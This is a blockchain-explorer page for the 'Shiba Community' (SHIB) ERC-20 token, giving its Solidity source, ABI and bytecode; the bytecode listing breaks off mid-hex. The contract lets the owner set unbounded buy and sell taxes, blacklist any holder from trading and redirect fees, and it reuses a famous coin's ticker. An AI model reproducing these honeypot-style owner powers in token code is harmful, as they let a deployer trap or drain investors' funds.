Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 SHIB
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
675,522,961.458490726 SHIBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ShibaCommunity
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-11 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShibaCommunity is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax=5; uint256 private _initialSellTax=8; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 10000000000 * 10**_decimals; string private constant _name = unicode"Shiba Community"; string private constant _symbol = unicode"SHIB"; uint256 public _maxTxAmount = 1000000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000000 * 10**_decimals; uint256 public _taxSwapThreshold= 1000000 * 10**_decimals; uint256 public _maxTaxSwap= 1000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x8964E45D64A782140BD2232B4d71A987644378e1); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount.mul(_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul(_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } function changeTax(uint256 _ubuyTax, uint256 _usellTax) public onlyOwner { _initialBuyTax = _ubuyTax; _initialSellTax = _usellTax; } function changeTaxWallet (address _utwallet) public onlyOwner { _taxWallet = payable(_utwallet); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_ubuyTax","type":"uint256"},{"internalType":"uint256","name":"_usellTax","type":"uint256"}],"name":"changeTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_utwallet","type":"address"}],"name":"changeTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260056007556008805560006009556009600a6200002291906200033b565b6200003290633b9aca0062000353565b600a556009600a6200004591906200033b565b6200005590637735940062000353565b600b55620000666009600a6200033b565b6200007590620f424062000353565b600c55620000866009600a6200033b565b6200009590620f424062000353565b600d55600f805461ffff60a81b19169055348015620000b357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916738964e45d64a782140bd2232b4d71a987644378e1179055620001296009600a6200033b565b6200013a906402540be40062000353565b336000908152600160208190526040822092909255600390620001656000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001c43390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fe6009600a6200033b565b6200020f906402540be40062000353565b60405190815260200160405180910390a362000375565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027d57816000190482111562000261576200026162000226565b808516156200026f57918102915b93841c939080029062000241565b509250929050565b600082620002965750600162000335565b81620002a55750600062000335565b8160018114620002be5760028114620002c957620002e9565b600191505062000335565b60ff841115620002dd57620002dd62000226565b50506001821b62000335565b5060208310610133831016604e8410600b84101617156200030e575081810a62000335565b6200031a83836200023c565b806000190482111562000331576200033162000226565b0290505b92915050565b60006200034c60ff84168362000285565b9392505050565b600081600019048311821515161562000370576200037062000226565b500290565b611bb780620003856000396000f3fe6080604052600436106101395760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610390578063bf474bed146103b0578063c9567bf9146103c6578063cb711595146103db578063d34628cc146103fb578063dd62ed3e1461041b57600080fd5b80637d1db4a5146102ef5780638da5cb5b146103055780638f9a55c01461032d5780639036ed4d1461034357806395d89b411461036357600080fd5b8063313ce567116100fd578063313ce5671461021857806331c2d847146102345780633bbac5791461025657806370a082311461028f578063715018a6146102c5578063751039fc146102da57600080fd5b806306fdde0314610145578063095ea7b31461018f5780630faee56f146101bf57806318160ddd146101e357806323b872dd146101f857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600f81526e536869626120436f6d6d756e69747960881b60208201525b604051610186919061165f565b60405180910390f35b34801561019b57600080fd5b506101af6101aa3660046116dc565b610461565b6040519015158152602001610186565b3480156101cb57600080fd5b506101d5600d5481565b604051908152602001610186565b3480156101ef57600080fd5b506101d5610478565b34801561020457600080fd5b506101af610213366004611708565b61049a565b34801561022457600080fd5b5060405160098152602001610186565b34801561024057600080fd5b5061025461024f36600461175f565b610503565b005b34801561026257600080fd5b506101af610271366004611824565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029b57600080fd5b506101d56102aa366004611824565b6001600160a01b031660009081526001602052604090205490565b3480156102d157600080fd5b506102546105a2565b3480156102e657600080fd5b50610254610616565b3480156102fb57600080fd5b506101d5600a5481565b34801561031157600080fd5b506000546040516001600160a01b039091168152602001610186565b34801561033957600080fd5b506101d5600b5481565b34801561034f57600080fd5b5061025461035e366004611841565b6106cd565b34801561036f57600080fd5b5060408051808201909152600481526329a424a160e11b6020820152610179565b34801561039c57600080fd5b506101af6103ab3660046116dc565b610702565b3480156103bc57600080fd5b506101d5600c5481565b3480156103d257600080fd5b5061025461070f565b3480156103e757600080fd5b506102546103f6366004611824565b610ad0565b34801561040757600080fd5b5061025461041636600461175f565b610b1c565b34801561042757600080fd5b506101d5610436366004611863565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061046e338484610bae565b5060015b92915050565b60006104866009600a611996565b610495906402540be4006119a5565b905090565b60006104a7848484610cd2565b6104f984336104f485604051806060016040528060288152602001611b5a602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112c5565b610bae565b5060019392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161052d906119c4565b60405180910390fd5b60005b815181101561059e5760006004600084848151811061055a5761055a6119f9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061059681611a0f565b915050610539565b5050565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161052d906119c4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106405760405162461bcd60e51b815260040161052d906119c4565b61064c6009600a611996565b61065b906402540be4006119a5565b600a90815561066c90600990611996565b61067b906402540be4006119a5565b600b557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ab6009600a611996565b6106ba906402540be4006119a5565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106f75760405162461bcd60e51b815260040161052d906119c4565b600791909155600855565b600061046e338484610cd2565b6000546001600160a01b031633146107395760405162461bcd60e51b815260040161052d906119c4565b600f54600160a01b900460ff16156107935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107dd9030906107ce6009600a611996565b6104f4906402540be4006119a5565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108549190611a2a565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da9190611a2a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b9190611a2a565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d7194730610993816001600160a01b031660009081526001602052604090205490565b6000806109a86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a10573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a359190611a47565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab29190611a75565b50600f805462ff00ff60a01b19166201000160a01b17905543600655565b6000546001600160a01b03163314610afa5760405162461bcd60e51b815260040161052d906119c4565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b465760405162461bcd60e51b815260040161052d906119c4565b60005b815181101561059e57600160046000848481518110610b6a57610b6a6119f9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ba681611a0f565b915050610b49565b6001600160a01b038316610c105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610c715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610d985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b60008111610dfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b600080546001600160a01b03858116911614801590610e2757506000546001600160a01b03848116911614155b15611182576001600160a01b03841660009081526004602052604090205460ff16158015610e6e57506001600160a01b03831660009081526004602052604090205460ff16155b610e7757600080fd5b610e976064610e91600754856112ff90919063ffffffff16565b90611385565b600f549091506001600160a01b038581169116148015610ec55750600e546001600160a01b03848116911614155b8015610eea57506001600160a01b03831660009081526003602052604090205460ff16155b15610ff457600a54821115610f415760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161052d565b600b5482610f64856001600160a01b031660009081526001602052604090205490565b610f6e9190611a97565b1115610fbc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052d565b436006546003610fcc9190611a97565b1115610fde57823b15610fde57600080fd5b60098054906000610fee83611a0f565b91905055505b600f546001600160a01b0384811691161480159061102b57506001600160a01b03831660009081526003602052604090205460ff16155b156110ab57600b5482611053856001600160a01b031660009081526001602052604090205490565b61105d9190611a97565b11156110ab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052d565b600f546001600160a01b0384811691161480156110d157506001600160a01b0384163014155b156110f3576110f06064610e91600854856112ff90919063ffffffff16565b90505b30600090815260016020526040902054600f54600160a81b900460ff1615801561112a5750600f546001600160a01b038581169116145b801561113f5750600f54600160b01b900460ff165b801561114c5750600c5481115b156111805761116e6111698461116484600d546113c7565b6113c7565b6113dc565b47801561117e5761117e47611556565b505b505b80156111fc57306000908152600160205260409020546111a29082611590565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111f39085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461121f90836115ef565b6001600160a01b03851660009081526001602052604090205561126461124583836115ef565b6001600160a01b03851660009081526001602052604090205490611590565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ae85856115ef565b60405190815260200160405180910390a350505050565b600081848411156112e95760405162461bcd60e51b815260040161052d919061165f565b5060006112f68486611aaf565b95945050505050565b60008261130e57506000610472565b600061131a83856119a5565b9050826113278583611ac6565b1461137e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b9392505050565b600061137e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611631565b60008183116113d6578261137e565b50919050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611424576114246119f9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a19190611a2a565b816001815181106114b4576114b46119f9565b6001600160a01b039283166020918202929092010152600e546114da9130911684610bae565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611513908590600090869030904290600401611ae8565b600060405180830381600087803b15801561152d57600080fd5b505af1158015611541573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561059e573d6000803e3d6000fd5b60008061159d8385611a97565b90508381101561137e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b600061137e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c5565b600081836116525760405162461bcd60e51b815260040161052d919061165f565b5060006112f68486611ac6565b600060208083528351808285015260005b8181101561168c57858101830151858201604001528201611670565b8181111561169e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116c957600080fd5b50565b80356116d7816116b4565b919050565b600080604083850312156116ef57600080fd5b82356116fa816116b4565b946020939093013593505050565b60008060006060848603121561171d57600080fd5b8335611728816116b4565b92506020840135611738816116b4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561177257600080fd5b823567ffffffffffffffff8082111561178a57600080fd5b818501915085601f83011261179e57600080fd5b8135818111156117b0576117b0611749565b8060051b604051601f19603f830116810181811085821117156117d5576117d5611749565b6040529182528482019250838101850191888311156117f357600080fd5b938501935b8285101561181857611809856116cc565b845293850193928501926117f8565b98975050505050505050565b60006020828403121561183657600080fd5b813561137e816116b4565b6000806040838503121561185457600080fd5b50508035926020909101359150565b6000806040838503121561187657600080fd5b8235611881816116b4565b91506020830135611891816116b4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118ed5781600019048211156118d3576118d361189c565b808516156118e057918102915b93841c93908002906118b7565b509250929050565b60008261190457506001610472565b8161191157506000610472565b816001811461192757600281146119315761194d565b6001915050610472565b60ff8411156119425761194261189c565b50506001821b610472565b5060208310610133831016604e8410600b8410161715611970575081810a610472565b61197a83836118b2565b806000190482111561198e5761198e61189c565b029392505050565b600061137e60ff8416836118f5565b60008160001904831182151516156119bf576119bf61189c565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a2357611a2361189c565b5060010190565b600060208284031215611a3c57600080fd5b815161137e816116b4565b600080600060608486031215611a5c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a8757600080fd5b8151801515811461137e57600080fd5b60008219821115611aaa57611aaa61189c565b500190565b600082821015611ac157611ac161189c565b500390565b600082611ae357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b385784516001600160a01b031683529383019391830191600101611b13565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5941ed301af5ff4aac78ec20863d0593f23c41de1e427206009d538d8476ad464736f6c634300080a0033
Deployed Bytecode
0x6080604052600436106101395760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610390578063bf474bed146103b0578063c9567bf9146103c6578063cb711595146103db578063d34628cc146103fb578063dd62ed3e1461041b57600080fd5b80637d1db4a5146102ef5780638da5cb5b146103055780638f9a55c01461032d5780639036ed4d1461034357806395d89b411461036357600080fd5b8063313ce567116100fd578063313ce5671461021857806331c2d847146102345780633bbac5791461025657806370a082311461028f578063715018a6146102c5578063751039fc146102da57600080fd5b806306fdde0314610145578063095ea7b31461018f5780630faee56f146101bf57806318160ddd146101e357806323b872dd146101f857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600f81526e536869626120436f6d6d756e69747960881b60208201525b604051610186919061165f565b60405180910390f35b34801561019b57600080fd5b506101af6101aa3660046116dc565b610461565b6040519015158152602001610186565b3480156101cb57600080fd5b506101d5600d5481565b604051908152602001610186565b3480156101ef57600080fd5b506101d5610478565b34801561020457600080fd5b506101af610213366004611708565b61049a565b34801561022457600080fd5b5060405160098152602001610186565b34801561024057600080fd5b5061025461024f36600461175f565b610503565b005b34801561026257600080fd5b506101af610271366004611824565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029b57600080fd5b506101d56102aa366004611824565b6001600160a01b031660009081526001602052604090205490565b3480156102d157600080fd5b506102546105a2565b3480156102e657600080fd5b50610254610616565b3480156102fb57600080fd5b506101d5600a5481565b34801561031157600080fd5b506000546040516001600160a01b039091168152602001610186565b34801561033957600080fd5b506101d5600b5481565b34801561034f57600080fd5b5061025461035e366004611841565b6106cd565b34801561036f57600080fd5b5060408051808201909152600481526329a424a160e11b6020820152610179565b34801561039c57600080fd5b506101af6103ab3660046116dc565b610702565b3480156103bc57600080fd5b506101d5600c5481565b3480156103d257600080fd5b5061025461070f565b3480156103e757600080fd5b506102546103f6366004611824565b610ad0565b34801561040757600080fd5b5061025461041636600461175f565b610b1c565b34801561042757600080fd5b506101d5610436366004611863565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061046e338484610bae565b5060015b92915050565b60006104866009600a611996565b610495906402540be4006119a5565b905090565b60006104a7848484610cd2565b6104f984336104f485604051806060016040528060288152602001611b5a602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112c5565b610bae565b5060019392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161052d906119c4565b60405180910390fd5b60005b815181101561059e5760006004600084848151811061055a5761055a6119f9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061059681611a0f565b915050610539565b5050565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161052d906119c4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106405760405162461bcd60e51b815260040161052d906119c4565b61064c6009600a611996565b61065b906402540be4006119a5565b600a90815561066c90600990611996565b61067b906402540be4006119a5565b600b557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ab6009600a611996565b6106ba906402540be4006119a5565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106f75760405162461bcd60e51b815260040161052d906119c4565b600791909155600855565b600061046e338484610cd2565b6000546001600160a01b031633146107395760405162461bcd60e51b815260040161052d906119c4565b600f54600160a01b900460ff16156107935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107dd9030906107ce6009600a611996565b6104f4906402540